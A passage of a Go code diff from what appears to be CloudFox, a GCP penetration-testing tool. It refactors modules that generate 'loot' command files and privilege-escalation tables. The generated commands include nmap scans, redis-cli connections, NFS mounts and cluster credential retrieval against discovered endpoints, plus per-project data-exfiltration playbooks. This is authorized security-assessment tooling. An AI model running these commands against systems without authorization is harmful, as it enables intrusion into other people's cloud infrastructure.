return ancestorFolderSet[scopeID]
|
||||
}
|
||||
// No folder info - include by default
|
||||
return true
|
||||
case "resource":
|
||||
// Resource-level - include by default
|
||||
return true
|
||||
default:
|
||||
return true
|
||||
}
|
||||
}
|
||||
|
||||
func (m *DataExfiltrationModule) buildTablesForProject(projectID string) []internal.TableFile {
|
||||
var tableFiles []internal.TableFile
|
||||
|
||||
@@ -1131,25 +1575,28 @@ func (m *DataExfiltrationModule) buildTablesForProject(projectID string) []inter
|
||||
func (m *DataExfiltrationModule) writeHierarchicalOutput(ctx context.Context, logger internal.Logger) {
|
||||
outputData := internal.HierarchicalOutputData{
|
||||
OrgLevelData: make(map[string]internal.CloudfoxOutput),
|
||||
FolderLevelData: make(map[string]internal.CloudfoxOutput),
|
||||
ProjectLevelData: make(map[string]internal.CloudfoxOutput),
|
||||
}
|
||||
|
||||
projectIDs := make(map[string]bool)
|
||||
for projectID := range m.ProjectExfiltrationPaths {
|
||||
projectIDs[projectID] = true
|
||||
}
|
||||
for projectID := range m.ProjectPublicExports {
|
||||
projectIDs[projectID] = true
|
||||
}
|
||||
|
||||
playbook := m.generatePlaybook()
|
||||
playbookAdded := false
|
||||
|
||||
for projectID := range projectIDs {
|
||||
// Process each specified project (via -p or -l flags)
|
||||
for _, projectID := range m.ProjectIDs {
|
||||
m.initializeLootForProject(projectID)
|
||||
|
||||
tableFiles := m.buildTablesForProject(projectID)
|
||||
|
||||
// Add FoxMapper findings table for this project
|
||||
// Include SAs from this project + users/groups (which apply to all projects)
|
||||
foxMapperBody := m.foxMapperFindingsForProject(projectID)
|
||||
if len(foxMapperBody) > 0 {
|
||||
tableFiles = append(tableFiles, internal.TableFile{
|
||||
Name: "data-exfiltration-permissions",
|
||||
Header: m.getFoxMapperHeader(),
|
||||
Body: foxMapperBody,
|
||||
})
|
||||
}
|
||||
|
||||
// Add loot files for this project
|
||||
var lootFiles []internal.LootFile
|
||||
if projectLoot, ok := m.LootMap[projectID]; ok {
|
||||
for _, loot := range projectLoot {
|
||||
@@ -1159,28 +1606,16 @@ func (m *DataExfiltrationModule) writeHierarchicalOutput(ctx context.Context, lo
|
||||
}
|
||||
}
|
||||
|
||||
if playbook != nil && playbook.Contents != "" && !playbookAdded {
|
||||
// Add project-specific playbook
|
||||
playbook := m.generatePlaybookForProject(projectID)
|
||||
if playbook != nil && playbook.Contents != "" {
|
||||
lootFiles = append(lootFiles, *playbook)
|
||||
playbookAdded = true
|
||||
}
|
||||
|
||||
// Always add all specified projects to output
|
||||
outputData.ProjectLevelData[projectID] = DataExfiltrationOutput{Table: tableFiles, Loot: lootFiles}
|
||||
}
|
||||
|
||||
// Add FoxMapper findings table at first project level if exists
|
||||
if len(m.FoxMapperFindings) > 0 && len(m.ProjectIDs) > 0 {
|
||||
firstProject := m.ProjectIDs[0]
|
||||
if existing, ok := outputData.ProjectLevelData[firstProject]; ok {
|
||||
existingOutput := existing.(DataExfiltrationOutput)
|
||||
existingOutput.Table = append(existingOutput.Table, internal.TableFile{
|
||||
Name: "data-exfiltration-permissions",
|
||||
Header: m.getFoxMapperHeader(),
|
||||
Body: m.foxMapperFindingsToTableBody(),
|
||||
})
|
||||
outputData.ProjectLevelData[firstProject] = existingOutput
|
||||
}
|
||||
}
|
||||
|
||||
pathBuilder := m.BuildPathBuilder()
|
||||
|
||||
err := internal.HandleHierarchicalOutputSmart("gcp", m.Format, m.Verbosity, m.WrapTable, pathBuilder, outputData)
|
||||
@@ -1225,9 +1660,14 @@ func (m *DataExfiltrationModule) writeFlatOutput(ctx context.Context, logger int
|
||||
}
|
||||
}
|
||||
|
||||
playbook := m.generatePlaybook()
|
||||
if playbook != nil && playbook.Contents != "" {
|
||||
lootFiles = append(lootFiles, *playbook)
|
||||
// For flat output, generate a combined playbook for all projects
|
||||
for _, projectID := range m.ProjectIDs {
|
||||
playbook := m.generatePlaybookForProject(projectID)
|
||||
if playbook != nil && playbook.Contents != "" {
|
||||
// Rename to include project
|
||||
playbook.Name = fmt.Sprintf("data-exfiltration-commands-%s", projectID)
|
||||
lootFiles = append(lootFiles, *playbook)
|
||||
}
|
||||
}
|
||||
|
||||
output := DataExfiltrationOutput{
|
||||
|
||||
Regular → Executable
-21
@@ -521,27 +521,6 @@ func (m *DomainWideDelegationModule) generateDWDCommands(accounts []domainwidede
|
||||
# Generated by CloudFox
|
||||
# WARNING: Only use with proper authorization
|
||||
|
||||
# =============================================================================
|
||||
# DISCOVERED DWD SERVICE ACCOUNTS
|
||||
# =============================================================================
|
||||
`)
|
||||
|
||||
for _, account := range accounts {
|
||||
dwdStatus := "No"
|
||||
if account.DWDEnabled {
|
||||
dwdStatus = "Yes"
|
||||
}
|
||||
commands.WriteString(fmt.Sprintf("\n# %s\n", account.Email))
|
||||
commands.WriteString(fmt.Sprintf("# DWD Enabled: %s | Keys: %d\n", dwdStatus, len(account.Keys)))
|
||||
if account.OAuth2ClientID != "" {
|
||||
commands.WriteString(fmt.Sprintf("# OAuth2 Client ID: %s\n", account.OAuth2ClientID))
|
||||
}
|
||||
for _, key := range account.Keys {
|
||||
commands.WriteString(fmt.Sprintf("# Key: %s\n", key.KeyID))
|
||||
}
|
||||
}
|
||||
|
||||
commands.WriteString(`
|
||||
# =============================================================================
|
||||
# STEP 1: INSTALL DEPENDENCIES
|
||||
# =============================================================================
|
||||
|
||||
Regular → Executable
+132
-89
@@ -84,8 +84,7 @@ type Endpoint struct {
|
||||
type EndpointsModule struct {
|
||||
gcpinternal.BaseGCPModule
|
||||
|
||||
ProjectEndpoints map[string][]Endpoint // projectID -> endpoints
|
||||
LootMap map[string]map[string]*internal.LootFile // projectID -> loot files
|
||||
ProjectEndpoints map[string][]Endpoint // projectID -> endpoints
|
||||
mu sync.Mutex
|
||||
|
||||
// Firewall rule mapping: "network:tag1,tag2" -> allowed ports
|
||||
@@ -115,7 +114,6 @@ func runGCPEndpointsCommand(cmd *cobra.Command, args []string) {
|
||||
module := &EndpointsModule{
|
||||
BaseGCPModule: gcpinternal.NewBaseGCPModule(cmdCtx),
|
||||
ProjectEndpoints: make(map[string][]Endpoint),
|
||||
LootMap: make(map[string]map[string]*internal.LootFile),
|
||||
firewallPortMap: make(map[string][]string),
|
||||
}
|
||||
|
||||
@@ -1135,18 +1133,7 @@ func (m *EndpointsModule) analyzeFirewallRules(ctx context.Context, svc *compute
|
||||
// addEndpoint adds an endpoint thread-safely
|
||||
func (m *EndpointsModule) addEndpoint(projectID string, ep Endpoint) {
|
||||
m.mu.Lock()
|
||||
// Initialize loot for this project if needed
|
||||
if m.LootMap[projectID] == nil {
|
||||
m.LootMap[projectID] = make(map[string]*internal.LootFile)
|
||||
m.LootMap[projectID]["endpoints-commands"] = &internal.LootFile{
|
||||
Name: "endpoints-commands",
|
||||
Contents: "# Endpoint Scan Commands\n" +
|
||||
"# Generated by CloudFox\n" +
|
||||
"# Use these commands for authorized penetration testing\n\n",
|
||||
}
|
||||
}
|
||||
m.ProjectEndpoints[projectID] = append(m.ProjectEndpoints[projectID], ep)
|
||||
m.addEndpointToLoot(projectID, ep)
|
||||
m.mu.Unlock()
|
||||
}
|
||||
|
||||
@@ -1183,11 +1170,93 @@ func extractZoneFromScope(scope string) string {
|
||||
// ------------------------------
|
||||
// Loot File Management
|
||||
// ------------------------------
|
||||
func (m *EndpointsModule) addEndpointToLoot(projectID string, ep Endpoint) {
|
||||
lootFile := m.LootMap[projectID]["endpoints-commands"]
|
||||
if lootFile == nil {
|
||||
return
|
||||
|
||||
// generateLootFiles creates the loot files for a project, grouped by network/region
|
||||
func (m *EndpointsModule) generateLootFiles(projectID string) []internal.LootFile {
|
||||
endpoints, ok := m.ProjectEndpoints[projectID]
|
||||
if !ok || len(endpoints) == 0 {
|
||||
return nil
|
||||
}
|
||||
|
||||
// Separate external and internal endpoints
|
||||
var externalEndpoints, internalEndpoints []Endpoint
|
||||
for _, ep := range endpoints {
|
||||
if ep.IsExternal {
|
||||
externalEndpoints = append(externalEndpoints, ep)
|
||||
} else {
|
||||
internalEndpoints = append(internalEndpoints, ep)
|
||||
}
|
||||
}
|
||||
|
||||
var lootFiles []internal.LootFile
|
||||
|
||||
// Generate external commands file
|
||||
if len(externalEndpoints) > 0 {
|
||||
lootFiles = append(lootFiles, internal.LootFile{
|
||||
Name: "endpoints-external-commands",
|
||||
Contents: m.generateGroupedCommands(externalEndpoints, true),
|
||||
})
|
||||
}
|
||||
|
||||
// Generate internal commands file
|
||||
if len(internalEndpoints) > 0 {
|
||||
lootFiles = append(lootFiles, internal.LootFile{
|
||||
Name: "endpoints-internal-commands",
|
||||
Contents: m.generateGroupedCommands(internalEndpoints, false),
|
||||
})
|
||||
}
|
||||
|
||||
return lootFiles
|
||||
}
|
||||
|
||||
// generateGroupedCommands creates commands grouped by network
|
||||
func (m *EndpointsModule) generateGroupedCommands(endpoints []Endpoint, isExternal bool) string {
|
||||
var contents strings.Builder
|
||||
|
||||
if isExternal {
|
||||
contents.WriteString("# External Endpoint Scan Commands\n")
|
||||
contents.WriteString("# Generated by CloudFox\n")
|
||||
contents.WriteString("# These endpoints are internet-facing\n\n")
|
||||
} else {
|
||||
contents.WriteString("# Internal Endpoint Scan Commands\n")
|
||||
contents.WriteString("# Generated by CloudFox\n")
|
||||
contents.WriteString("# These endpoints require internal network access (VPN, bastion, etc.)\n\n")
|
||||
}
|
||||
|
||||
// Group endpoints by network (same VPC = same firewall rules)
|
||||
groups := make(map[string][]Endpoint)
|
||||
var groupOrder []string
|
||||
|
||||
for _, ep := range endpoints {
|
||||
network := ep.Network
|
||||
if network == "" {
|
||||
network = "default"
|
||||
}
|
||||
if _, exists := groups[network]; !exists {
|
||||
groupOrder = append(groupOrder, network)
|
||||
}
|
||||
groups[network] = append(groups[network], ep)
|
||||
}
|
||||
|
||||
// Generate commands for each network group
|
||||
for _, network := range groupOrder {
|
||||
groupEndpoints := groups[network]
|
||||
|
||||
contents.WriteString(fmt.Sprintf("# =============================================================================\n"))
|
||||
contents.WriteString(fmt.Sprintf("# Network: %s\n", network))
|
||||
contents.WriteString(fmt.Sprintf("# =============================================================================\n\n"))
|
||||
|
||||
// Generate commands for each endpoint in the group
|
||||
for _, ep := range groupEndpoints {
|
||||
m.writeEndpointCommand(&contents, ep)
|
||||
}
|
||||
}
|
||||
|
||||
return contents.String()
|
||||
}
|
||||
|
||||
// writeEndpointCommand writes the command for a single endpoint
|
||||
func (m *EndpointsModule) writeEndpointCommand(contents *strings.Builder, ep Endpoint) {
|
||||
// Determine best target for scanning
|
||||
target := ep.ExternalIP
|
||||
if target == "" {
|
||||
@@ -1200,34 +1269,18 @@ func (m *EndpointsModule) addEndpointToLoot(projectID string, ep Endpoint) {
|
||||
return
|
||||
}
|
||||
|
||||
exposure := "INTERNAL"
|
||||
if ep.IsExternal {
|
||||
exposure = "EXTERNAL"
|
||||
}
|
||||
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# [%s] %s: %s (%s)\n"+
|
||||
"# Project: %s | Region: %s | Network: %s\n",
|
||||
exposure, ep.Type, ep.Name, ep.ResourceType,
|
||||
ep.ProjectID, ep.Region, ep.Network,
|
||||
)
|
||||
|
||||
if ep.Security != "" {
|
||||
lootFile.Contents += fmt.Sprintf("# Security: %s\n", ep.Security)
|
||||
}
|
||||
// Write endpoint header (just type and name)
|
||||
contents.WriteString(fmt.Sprintf("# %s: %s\n", ep.Type, ep.Name))
|
||||
|
||||
// Generate appropriate commands based on type
|
||||
switch ep.Type {
|
||||
case "Cloud Run", "Cloud Function", "Composer Airflow", "App Engine", "Vertex AI Notebook":
|
||||
if ep.Hostname != "" {
|
||||
lootFile.Contents += fmt.Sprintf("curl -v https://%s\n\n", ep.Hostname)
|
||||
contents.WriteString(fmt.Sprintf("curl -v https://%s\n\n", ep.Hostname))
|
||||
}
|
||||
case "GKE API":
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# Get cluster credentials:\n"+
|
||||
"gcloud container clusters get-credentials %s --region=%s --project=%s\n"+
|
||||
"kubectl cluster-info\n\n",
|
||||
ep.Name, ep.Region, ep.ProjectID)
|
||||
contents.WriteString(fmt.Sprintf("gcloud container clusters get-credentials %s --region=%s --project=%s\n", ep.Name, ep.Region, ep.ProjectID))
|
||||
contents.WriteString("kubectl cluster-info\n\n")
|
||||
case "Cloud SQL":
|
||||
protocol := "mysql"
|
||||
if strings.Contains(ep.Port, "5432") {
|
||||
@@ -1235,51 +1288,32 @@ func (m *EndpointsModule) addEndpointToLoot(projectID string, ep Endpoint) {
|
||||
} else if strings.Contains(ep.Port, "1433") {
|
||||
protocol = "sqlcmd"
|
||||
}
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# Connect to database:\n"+
|
||||
"# %s -h %s -P %s -u USERNAME\n"+
|
||||
"nmap -sV -Pn -p %s %s\n\n",
|
||||
protocol, target, ep.Port, ep.Port, target)
|
||||
contents.WriteString(fmt.Sprintf("# %s -h %s -P %s -u USERNAME\n", protocol, target, ep.Port))
|
||||
contents.WriteString(fmt.Sprintf("nmap -sV -Pn -p %s %s\n\n", ep.Port, target))
|
||||
case "Redis":
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"redis-cli -h %s -p %s\n"+
|
||||
"nmap -sV -Pn -p %s %s\n\n",
|
||||
target, ep.Port, ep.Port, target)
|
||||
contents.WriteString(fmt.Sprintf("redis-cli -h %s -p %s\n", target, ep.Port))
|
||||
contents.WriteString(fmt.Sprintf("nmap -sV -Pn -p %s %s\n\n", ep.Port, target))
|
||||
case "Filestore NFS":
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"showmount -e %s\n"+
|
||||
"sudo mount -t nfs %s:/<share> /mnt/<mountpoint>\n\n",
|
||||
target, target)
|
||||
contents.WriteString(fmt.Sprintf("showmount -e %s\n", target))
|
||||
contents.WriteString(fmt.Sprintf("sudo mount -t nfs %s:/<share> /mnt/<mountpoint>\n\n", target))
|
||||
case "Dataproc Master":
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# SSH to master node:\n"+
|
||||
"gcloud compute ssh %s --project=%s --zone=<ZONE>\n"+
|
||||
"# Web UIs: YARN (8088), HDFS (9870), Spark (8080)\n\n",
|
||||
strings.TrimSuffix(ep.Name, "-master"), ep.ProjectID)
|
||||
contents.WriteString(fmt.Sprintf("gcloud compute ssh %s --project=%s --zone=<ZONE>\n", strings.TrimSuffix(ep.Name, "-master"), ep.ProjectID))
|
||||
contents.WriteString("# Web UIs: YARN (8088), HDFS (9870), Spark (8080)\n\n")
|
||||
case "VPN Gateway", "HA VPN Gateway":
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# VPN Gateway IP: %s\n"+
|
||||
"# Ports: 500/UDP (IKE), 4500/UDP (NAT-T), ESP\n"+
|
||||
"nmap -sU -Pn -p 500,4500 %s\n\n",
|
||||
target, target)
|
||||
contents.WriteString(fmt.Sprintf("# VPN Gateway IP: %s (ports 500/UDP, 4500/UDP, ESP)\n", target))
|
||||
contents.WriteString(fmt.Sprintf("nmap -sU -Pn -p 500,4500 %s\n\n", target))
|
||||
case "Pub/Sub Push":
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# Push endpoint (receives messages from Pub/Sub):\n"+
|
||||
"curl -v https://%s\n\n",
|
||||
ep.Hostname)
|
||||
contents.WriteString(fmt.Sprintf("curl -v https://%s\n\n", ep.Hostname))
|
||||
default:
|
||||
var nmapCmd string
|
||||
switch {
|
||||
case ep.Port == "ALL" || ep.Port == "":
|
||||
nmapCmd = fmt.Sprintf("nmap -sV -Pn %s", target)
|
||||
default:
|
||||
nmapCmd = fmt.Sprintf("nmap -sV -Pn -p %s %s", ep.Port, target)
|
||||
if ep.Port == "ALL" || ep.Port == "" {
|
||||
contents.WriteString(fmt.Sprintf("nmap -sV -Pn %s\n", target))
|
||||
} else {
|
||||
contents.WriteString(fmt.Sprintf("nmap -sV -Pn -p %s %s\n", ep.Port, target))
|
||||
}
|
||||
lootFile.Contents += nmapCmd + "\n\n"
|
||||
|
||||
if ep.TLSEnabled || ep.Port == "443" {
|
||||
lootFile.Contents += fmt.Sprintf("curl -vk https://%s/\n\n", target)
|
||||
contents.WriteString(fmt.Sprintf("curl -vk https://%s/\n", target))
|
||||
}
|
||||
contents.WriteString("\n")
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1391,15 +1425,7 @@ func (m *EndpointsModule) writeHierarchicalOutput(ctx context.Context, logger in
|
||||
|
||||
for projectID := range m.ProjectEndpoints {
|
||||
tableFiles := m.buildTablesForProject(projectID)
|
||||
|
||||
var lootFiles []internal.LootFile
|
||||
if projectLoot, ok := m.LootMap[projectID]; ok {
|
||||
for _, loot := range projectLoot {
|
||||
if loot != nil && loot.Contents != "" {
|
||||
lootFiles = append(lootFiles, *loot)
|
||||
}
|
||||
}
|
||||
}
|
||||
lootFiles := m.generateLootFiles(projectID)
|
||||
|
||||
outputData.ProjectLevelData[projectID] = EndpointsOutput{Table: tableFiles, Loot: lootFiles}
|
||||
}
|
||||
@@ -1425,14 +1451,31 @@ func (m *EndpointsModule) writeFlatOutput(ctx context.Context, logger internal.L
|
||||
})
|
||||
}
|
||||
|
||||
// Collect loot files
|
||||
// Generate loot files from all endpoints combined
|
||||
var lootFiles []internal.LootFile
|
||||
for _, projectLoot := range m.LootMap {
|
||||
for _, loot := range projectLoot {
|
||||
if loot != nil && loot.Contents != "" {
|
||||
lootFiles = append(lootFiles, *loot)
|
||||
if len(allEndpoints) > 0 {
|
||||
// Separate external and internal endpoints
|
||||
var externalEndpoints, internalEndpoints []Endpoint
|
||||
for _, ep := range allEndpoints {
|
||||
if ep.IsExternal {
|
||||
externalEndpoints = append(externalEndpoints, ep)
|
||||
} else {
|
||||
internalEndpoints = append(internalEndpoints, ep)
|
||||
}
|
||||
}
|
||||
|
||||
if len(externalEndpoints) > 0 {
|
||||
lootFiles = append(lootFiles, internal.LootFile{
|
||||
Name: "endpoints-external-commands",
|
||||
Contents: m.generateGroupedCommands(externalEndpoints, true),
|
||||
})
|
||||
}
|
||||
if len(internalEndpoints) > 0 {
|
||||
lootFiles = append(lootFiles, internal.LootFile{
|
||||
Name: "endpoints-internal-commands",
|
||||
Contents: m.generateGroupedCommands(internalEndpoints, false),
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
output := EndpointsOutput{
|
||||
|
||||
Regular → Executable
+106
-18
@@ -75,6 +75,7 @@ type FoxMapperModule struct {
|
||||
OrgID string
|
||||
ProjectID string
|
||||
DataPath string
|
||||
OrgCache *gcpinternal.OrgCache
|
||||
|
||||
// Output data
|
||||
Admins []*foxmapperservice.Node
|
||||
@@ -112,6 +113,9 @@ func runGCPFoxMapperCommand(cmd *cobra.Command, args []string) {
|
||||
}
|
||||
|
||||
func (m *FoxMapperModule) Execute(ctx context.Context, logger internal.Logger) {
|
||||
// Get OrgCache for project number resolution
|
||||
m.OrgCache = gcpinternal.GetOrgCacheFromContext(ctx)
|
||||
|
||||
logger.InfoM("Looking for FoxMapper data and building privilege escalation graph...", "foxmapper")
|
||||
|
||||
// Custom path specified - load directly
|
||||
@@ -252,7 +256,8 @@ func (m *FoxMapperModule) generateOutputForProject(logger internal.Logger, proje
|
||||
var output FoxMapperOutput
|
||||
|
||||
// Main table: principals with admin or path to admin
|
||||
mainHeader := []string{"Principal", "Type", "Project", "Is Admin", "Admin Level", "Path to Admin", "Privesc To", "Hops"}
|
||||
// Read left to right: Project -> Type -> Principal -> Admin Status -> Privesc Target -> Privesc Admin Level -> Hops
|
||||
mainHeader := []string{"Project", "Type", "Principal", "Is Admin", "Admin Level", "Privesc To", "Privesc Admin Level", "Hops"}
|
||||
var mainBody [][]string
|
||||
|
||||
// First add admins
|
||||
@@ -262,10 +267,10 @@ func (m *FoxMapperModule) generateOutputForProject(logger internal.Logger, proje
|
||||
adminLevel = "project"
|
||||
}
|
||||
mainBody = append(mainBody, []string{
|
||||
admin.Email,
|
||||
admin.MemberType,
|
||||
admin.ProjectID,
|
||||
"YES",
|
||||
admin.MemberType,
|
||||
admin.Email,
|
||||
"Yes",
|
||||
adminLevel,
|
||||
"-",
|
||||
"-",
|
||||
@@ -278,25 +283,66 @@ func (m *FoxMapperModule) generateOutputForProject(logger internal.Logger, proje
|
||||
paths := fm.GetPrivescPaths(node.Email)
|
||||
shortestPath := "-"
|
||||
privescTo := "-"
|
||||
privescAdminLevel := "-"
|
||||
if len(paths) > 0 {
|
||||
shortestPath = strconv.Itoa(paths[0].HopCount)
|
||||
bestPath := paths[0]
|
||||
shortestPath = strconv.Itoa(bestPath.HopCount)
|
||||
// Get the destination (admin) from the best path
|
||||
privescTo = paths[0].Destination
|
||||
privescTo = bestPath.Destination
|
||||
// Clean up the display
|
||||
if strings.HasPrefix(privescTo, "serviceAccount:") {
|
||||
privescTo = strings.TrimPrefix(privescTo, "serviceAccount:")
|
||||
} else if strings.HasPrefix(privescTo, "user:") {
|
||||
privescTo = strings.TrimPrefix(privescTo, "user:")
|
||||
}
|
||||
|
||||
// Format privesc admin level
|
||||
destNode := fm.GetNode(bestPath.Destination)
|
||||
switch bestPath.AdminLevel {
|
||||
case "org":
|
||||
privescAdminLevel = "Org"
|
||||
case "folder":
|
||||
// Try to extract folder from the destination node's IAM bindings
|
||||
if destNode != nil && len(destNode.IAMBindings) > 0 {
|
||||
for _, binding := range destNode.IAMBindings {
|
||||
if resource, ok := binding["resource"].(string); ok {
|
||||
if strings.HasPrefix(resource, "folders/") {
|
||||
folderID := strings.TrimPrefix(resource, "folders/")
|
||||
privescAdminLevel = fmt.Sprintf("Folder: %s", folderID)
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
if privescAdminLevel == "-" {
|
||||
privescAdminLevel = "Folder"
|
||||
}
|
||||
case "project":
|
||||
// Try to get the project ID from the destination node or principal
|
||||
if destNode != nil && destNode.ProjectID != "" {
|
||||
privescAdminLevel = fmt.Sprintf("Project: %s", destNode.ProjectID)
|
||||
} else {
|
||||
destProject := extractProjectFromPrincipal(bestPath.Destination, m.OrgCache)
|
||||
if destProject != "" {
|
||||
privescAdminLevel = fmt.Sprintf("Project: %s", destProject)
|
||||
} else {
|
||||
privescAdminLevel = "Project"
|
||||
}
|
||||
}
|
||||
default:
|
||||
if bestPath.AdminLevel != "" {
|
||||
privescAdminLevel = bestPath.AdminLevel
|
||||
}
|
||||
}
|
||||
}
|
||||
mainBody = append(mainBody, []string{
|
||||
node.Email,
|
||||
node.MemberType,
|
||||
node.ProjectID,
|
||||
node.MemberType,
|
||||
node.Email,
|
||||
"No",
|
||||
"-",
|
||||
"YES",
|
||||
privescTo,
|
||||
privescAdminLevel,
|
||||
shortestPath,
|
||||
})
|
||||
}
|
||||
@@ -473,7 +519,8 @@ func (m *FoxMapperModule) generateOutput(logger internal.Logger, identifier stri
|
||||
var output FoxMapperOutput
|
||||
|
||||
// Main table: principals with admin or path to admin
|
||||
mainHeader := []string{"Principal", "Type", "Project", "Is Admin", "Admin Level", "Path to Admin", "Privesc To", "Hops"}
|
||||
// Read left to right: Project -> Type -> Principal -> Admin Status -> Privesc Target -> Privesc Admin Level -> Hops
|
||||
mainHeader := []string{"Project", "Type", "Principal", "Is Admin", "Admin Level", "Privesc To", "Privesc Admin Level", "Hops"}
|
||||
var mainBody [][]string
|
||||
|
||||
// First add admins
|
||||
@@ -483,10 +530,10 @@ func (m *FoxMapperModule) generateOutput(logger internal.Logger, identifier stri
|
||||
adminLevel = "project"
|
||||
}
|
||||
mainBody = append(mainBody, []string{
|
||||
admin.Email,
|
||||
admin.MemberType,
|
||||
admin.ProjectID,
|
||||
"YES",
|
||||
admin.MemberType,
|
||||
admin.Email,
|
||||
"Yes",
|
||||
adminLevel,
|
||||
"-",
|
||||
"-",
|
||||
@@ -499,25 +546,66 @@ func (m *FoxMapperModule) generateOutput(logger internal.Logger, identifier stri
|
||||
paths := m.FoxMapper.GetPrivescPaths(node.Email)
|
||||
shortestPath := "-"
|
||||
privescTo := "-"
|
||||
privescAdminLevel := "-"
|
||||
if len(paths) > 0 {
|
||||
shortestPath = strconv.Itoa(paths[0].HopCount)
|
||||
bestPath := paths[0]
|
||||
shortestPath = strconv.Itoa(bestPath.HopCount)
|
||||
// Get the destination (admin) from the best path
|
||||
privescTo = paths[0].Destination
|
||||
privescTo = bestPath.Destination
|
||||
// Clean up the display
|
||||
if strings.HasPrefix(privescTo, "serviceAccount:") {
|
||||
privescTo = strings.TrimPrefix(privescTo, "serviceAccount:")
|
||||
} else if strings.HasPrefix(privescTo, "user:") {
|
||||
privescTo = strings.TrimPrefix(privescTo, "user:")
|
||||
}
|
||||
|
||||
// Format privesc admin level
|
||||
destNode := m.FoxMapper.GetNode(bestPath.Destination)
|
||||
switch bestPath.AdminLevel {
|
||||
case "org":
|
||||
privescAdminLevel = "Org"
|
||||
case "folder":
|
||||
// Try to extract folder from the destination node's IAM bindings
|
||||
if destNode != nil && len(destNode.IAMBindings) > 0 {
|
||||
for _, binding := range destNode.IAMBindings {
|
||||
if resource, ok := binding["resource"].(string); ok {
|
||||
if strings.HasPrefix(resource, "folders/") {
|
||||
folderID := strings.TrimPrefix(resource, "folders/")
|
||||
privescAdminLevel = fmt.Sprintf("Folder: %s", folderID)
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
if privescAdminLevel == "-" {
|
||||
privescAdminLevel = "Folder"
|
||||
}
|
||||
case "project":
|
||||
// Try to get the project ID from the destination node or principal
|
||||
if destNode != nil && destNode.ProjectID != "" {
|
||||
privescAdminLevel = fmt.Sprintf("Project: %s", destNode.ProjectID)
|
||||
} else {
|
||||
destProject := extractProjectFromPrincipal(bestPath.Destination, m.OrgCache)
|
||||
if destProject != "" {
|
||||
privescAdminLevel = fmt.Sprintf("Project: %s", destProject)
|
||||
} else {
|
||||
privescAdminLevel = "Project"
|
||||
}
|
||||
}
|
||||
default:
|
||||
if bestPath.AdminLevel != "" {
|
||||
privescAdminLevel = bestPath.AdminLevel
|
||||
}
|
||||
}
|
||||
}
|
||||
mainBody = append(mainBody, []string{
|
||||
node.Email,
|
||||
node.MemberType,
|
||||
node.ProjectID,
|
||||
node.MemberType,
|
||||
node.Email,
|
||||
"No",
|
||||
"-",
|
||||
"YES",
|
||||
privescTo,
|
||||
privescAdminLevel,
|
||||
shortestPath,
|
||||
})
|
||||
}
|
||||
|
||||
Regular → Executable
+2
-1
@@ -390,7 +390,8 @@ func (m *FunctionsModule) writeFlatOutput(ctx context.Context, logger internal.L
|
||||
func isEmptyLootFile(contents string) bool {
|
||||
return strings.HasSuffix(contents, "# WARNING: Only use with proper authorization\n\n") ||
|
||||
strings.HasSuffix(contents, "# Variable names that may hint at secrets\n\n") ||
|
||||
strings.HasSuffix(contents, "# Secrets used by functions (names only)\n\n")
|
||||
strings.HasSuffix(contents, "# Secrets used by functions (names only)\n\n") ||
|
||||
strings.HasSuffix(contents, "# Generated by CloudFox\n\n")
|
||||
}
|
||||
|
||||
// buildTablesForProject builds all tables for a given project's functions
|
||||
|
||||
Regular → Executable
+28
-17
@@ -1,12 +1,13 @@
|
||||
package commands
|
||||
|
||||
import (
|
||||
"github.com/BishopFox/cloudfox/gcp/shared"
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
"sync"
|
||||
|
||||
"github.com/BishopFox/cloudfox/gcp/shared"
|
||||
|
||||
GKEService "github.com/BishopFox/cloudfox/gcp/services/gkeService"
|
||||
"github.com/BishopFox/cloudfox/globals"
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
@@ -49,7 +50,9 @@ Attack Surface:
|
||||
- Default service accounts may have excessive permissions
|
||||
- Legacy ABAC allows broader access than RBAC
|
||||
- Autopilot clusters have reduced attack surface
|
||||
- Binary Authorization prevents untrusted container images`,
|
||||
- Binary Authorization prevents untrusted container images
|
||||
|
||||
TIP: Run 'workload-identity' to enumerate K8s SA -> GCP SA bindings and Workload Identity Federation (external identity pools/providers).`,
|
||||
Run: runGCPGKECommand,
|
||||
}
|
||||
|
||||
@@ -60,10 +63,10 @@ type GKEModule struct {
|
||||
gcpinternal.BaseGCPModule
|
||||
|
||||
// Module-specific fields - per-project for hierarchical output
|
||||
ProjectClusters map[string][]GKEService.ClusterInfo // projectID -> clusters
|
||||
ProjectNodePools map[string][]GKEService.NodePoolInfo // projectID -> node pools
|
||||
LootMap map[string]map[string]*internal.LootFile // projectID -> loot files
|
||||
FoxMapperCache *gcpinternal.FoxMapperCache // FoxMapper graph data (preferred)
|
||||
ProjectClusters map[string][]GKEService.ClusterInfo // projectID -> clusters
|
||||
ProjectNodePools map[string][]GKEService.NodePoolInfo // projectID -> node pools
|
||||
LootMap map[string]map[string]*internal.LootFile // projectID -> loot files
|
||||
FoxMapperCache *gcpinternal.FoxMapperCache // FoxMapper graph data (preferred)
|
||||
mu sync.Mutex
|
||||
}
|
||||
|
||||
@@ -203,15 +206,22 @@ func (m *GKEModule) addClusterToLoot(projectID string, cluster GKEService.Cluste
|
||||
}
|
||||
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# Cluster: %s (%s)\n"+
|
||||
"# Project: %s\n"+
|
||||
"gcloud container clusters describe %s --location=%s --project=%s\n"+
|
||||
"gcloud container clusters get-credentials %s --location=%s --project=%s\n"+
|
||||
"#### Cluster: %s (%s)\n"+
|
||||
"### Project: %s\n\n"+
|
||||
"# Get detailed cluster configuration and settings\n"+
|
||||
"gcloud container clusters describe %s --location=%s --project=%s\n\n"+
|
||||
"# Configure kubectl to authenticate to this cluster\n"+
|
||||
"gcloud container clusters get-credentials %s --location=%s --project=%s\n\n"+
|
||||
"# List all node pools in this cluster\n"+
|
||||
